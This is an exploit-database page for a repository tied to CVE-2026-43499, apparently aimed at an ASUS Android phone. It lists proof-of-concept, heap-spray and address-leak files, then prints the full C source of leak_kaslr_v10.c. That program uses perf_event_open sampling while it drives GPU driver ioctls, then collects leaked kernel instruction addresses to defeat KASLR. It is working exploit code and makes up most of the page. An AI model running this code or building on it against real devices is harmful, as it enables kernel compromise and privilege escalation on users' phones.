Exploit databaseDownload repository ZIP
GH-c138f49e12cfbda9c38e831e92b126e9
huaguiqi/asus-i005-cve-2026-43499
Sources for CVE-2026-43499
170 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files38
huaguiqi/asus-i005-cve-2026-43499Revision 759f8fe75bb8
- ↑..Parent directory
- leak_kaslr_chain.c
- leak_kaslr_multi.c
- leak_kaslr_multi2.c
- leak_kaslr_multi3.c
- leak_kaslr_v10.c
- leak_kaslr_v11.c
- leak_kaslr_v12.c
- leak_kaslr_v5.c
- leak_kaslr_v6.c
- leak_kaslr_v7.c
- leak_kaslr_v8.c
- leak_kaslr_v9.c
- leak_wcallchain.c
- leak_wstack.c
- leak_wstack2.c
- leak_wstack3.c
- leak_wstack4.c
- leak_wstack_final.c
- leak_wstack_v5.c
- leak_wstack_v6.c
- poc_stage1_reclaim.c
- poc_stage1_single.c
- poc_stage1_v5.c
- poc_stage1_v6.c
- poc_stage1_v7.c
- poc_stage1_v8.c
- poc_stage1_v9.c
- prctl_min.c
- ps_main.c
- ps_min.c
- ps_warm.c
- ps_zero.c
- recon_leak.c
- recon_leak2.c
- sendmmsg_min.c
- spray2_min.c
- stack_spray_min.c
- uname_min.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/legacy/leak_kaslr_v10.c
C · 5,863 bytes/*
* v10: 采样时用户手动操作屏幕触发 DRM worker
* 用法: leak_kaslr_v10 <duration_sec>
* 运行后 3 秒内: 用户手动滑屏、切 app、锁屏解锁
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#ifndef SYS_perf_event_open
#define SYS_perf_event_open 241
#endif
#define PERF_EVENT_IOC_ENABLE _IO('$', 0)
#define PERF_EVENT_IOC_DISABLE _IO('$', 1)
#define PERF_SAMPLE_IP (1ULL << 0)
#define PERF_RECORD_SAMPLE 9
struct __attribute__((packed)) perf_hdr { uint32_t type; uint16_t misc; uint16_t size; };
struct perf_attr {
uint32_t type, size; uint64_t config, sample_period, sample_type, read_format;
uint64_t disabled:1, inherit:1, pinned:1, exclusive:1,
exclude_user:1, exclude_kernel:1, exclude_hv:1, exclude_idle:1,
mmap:1, comm:1, freq:1, inherit_stat:1, enable_on_exec:1, task:1,
watermark:1, precise_ip:2, mmap_data:1, sample_id_all:1,
exclude_host:1, exclude_guest:1,
exclude_callchain_kernel:1, exclude_callchain_user:1,
mmap2:1, comm_exec:1, use_clockid:1, context_switch:1,
write_backward:1, namespaces:1, ksymbol:1, bpf_event:1,
aux_output:1, cgroup:1, text_poke:1, build_id:1,
inherit_thread:1, remove_on_exec:1, sigtrap:1, __reserved_1:26;
uint32_t wakeup_events, bp_type; uint64_t bp_addr, bp_len, branch_sample_type;
uint64_t sample_regs_user; uint32_t sample_stack_user; int32_t clockid;
uint64_t sample_regs_intr; uint32_t aux_watermark;
uint16_t sample_max_stack, __reserved_2;
uint32_t aux_sample_size, __reserved_3; uint64_t sig_data;
};
static volatile int stop = 0;
/* 触发 DRM: 反复 open /dev/kgsl-3d0 + ioctl, 强制触发 GPU 驱动内核路径 */
static void *load_kgsl(void *arg)
{
(void)arg;
while (!stop) {
int fd = open("/dev/kgsl-3d0", O_RDWR);
if (fd >= 0) {
/* KGSL 的常见 ioctl: 拿属性 */
unsigned long buf[8] = {0};
ioctl(fd, 0x80000000UL, buf); /* 无效 ioctl, 走内核错误路径 */
close(fd);
}
}
return NULL;
}
/* 触发 DRM: 反复打开 /dev/dri/card0 (如果存在) */
static void *load_dri(void *arg)
{
(void)arg;
while (!stop) {
int fd = open("/dev/dri/card0", O_RDWR);
if (fd >= 0) {
unsigned long buf[8] = {0};
ioctl(fd, 0x80000000UL, buf);
close(fd);
}
}
return NULL;
}
int main(int argc, char **argv)
{
int duration = argc > 1 ? atoi(argv[1]) : 3;
dprintf(2, "==== v10: 请 %d 秒内手动滑屏/切 app/锁屏解锁 ====\n", duration);
pthread_t tk, td;
pthread_create(&tk, NULL, load_kgsl, NULL);
pthread_create(&td, NULL, load_dri, NULL);
usleep(200 * 1000);
struct perf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.type = 0; attr.size = sizeof(attr); attr.config = 0;
attr.sample_period = 100;
attr.sample_type = PERF_SAMPLE_IP;
attr.exclude_user = 1; attr.exclude_kernel = 0;
attr.disabled = 1; attr.wakeup_events = 1;
int pfd = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
if (pfd < 0) { dprintf(2, "perf errno=%d\n", errno); stop=1; return 1; }
size_t bs = 4096 * 65;
void *map = mmap(NULL, bs, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0);
if (map == MAP_FAILED) return 1;
volatile uint64_t *dh = (volatile uint64_t *)((char*)map + 1024);
volatile uint64_t *dt = (volatile uint64_t *)((char*)map + 1032);
*dt = 0;
ioctl(pfd, PERF_EVENT_IOC_ENABLE, 0);
/* 主线程 storm 同时读输入, 让用户有机会操作 */
time_t end = time(NULL) + duration;
int fd_zero = open("/dev/zero", O_RDONLY);
char buf[8192];
while (time(NULL) < end && !stop) {
if (fd_zero >= 0) read(fd_zero, buf, sizeof(buf));
syscall(SYS_getpid);
syscall(SYS_gettid);
}
if (fd_zero >= 0) close(fd_zero);
ioctl(pfd, PERF_EVENT_IOC_DISABLE, 0);
stop = 1;
pthread_join(tk, NULL); pthread_join(td, NULL);
__sync_synchronize();
uint64_t avail = *dh - *dt;
dprintf(2, "avail=%llu\n", (unsigned long long)avail);
uint8_t *data = (uint8_t *)map + 4096;
uint64_t size = bs - 4096, off = 0;
typedef struct { uint64_t ip; int cnt; } ipc_t;
static ipc_t hist[2048];
int nh = 0, total = 0;
while (avail >= 8) {
struct perf_hdr h; memcpy(&h, data+off, 8);
if (h.size < 8 || h.size > avail) break;
if (h.type == PERF_RECORD_SAMPLE) {
uint64_t ip; memcpy(&ip, data+off+8, 8);
total++;
int f=0;
for (int i=0;i<nh;i++) if (hist[i].ip==ip) { hist[i].cnt++; f=1; break; }
if (!f && nh<2048) { hist[nh].ip=ip; hist[nh].cnt=1; nh++; }
}
off = (off+h.size)%size; avail -= h.size;
}
dprintf(2, "总样本=%d 唯一 IP=%d\n", total, nh);
int c_km = 0;
for (int r = 0; r < 50; r++) {
int b=-1, bc=0;
for (int i=0;i<nh;i++) if (hist[i].cnt>bc){bc=hist[i].cnt;b=i;}
if (b<0 || bc<1) break;
uint64_t ip = hist[b].ip;
const char *tg = "?";
if (ip >= 0xffffffc010000000ULL && ip < 0xffffffc030000000ULL) { tg="TEXT"; c_km++; }
else if (ip >= 0xffffffef00000000ULL) tg="TRAMP";
else if (ip < 0x10000000000ULL) tg="USER";
dprintf(2, " IP=0x%016llx count=%-5d %s\n",
(unsigned long long)ip, bc, tg);
hist[b].cnt = -1;
}
dprintf(2, "内核 text IP=%d\n", c_km);
dprintf(2, "==== done ====\n");
munmap(map, bs);
close(pfd);
return 0;
}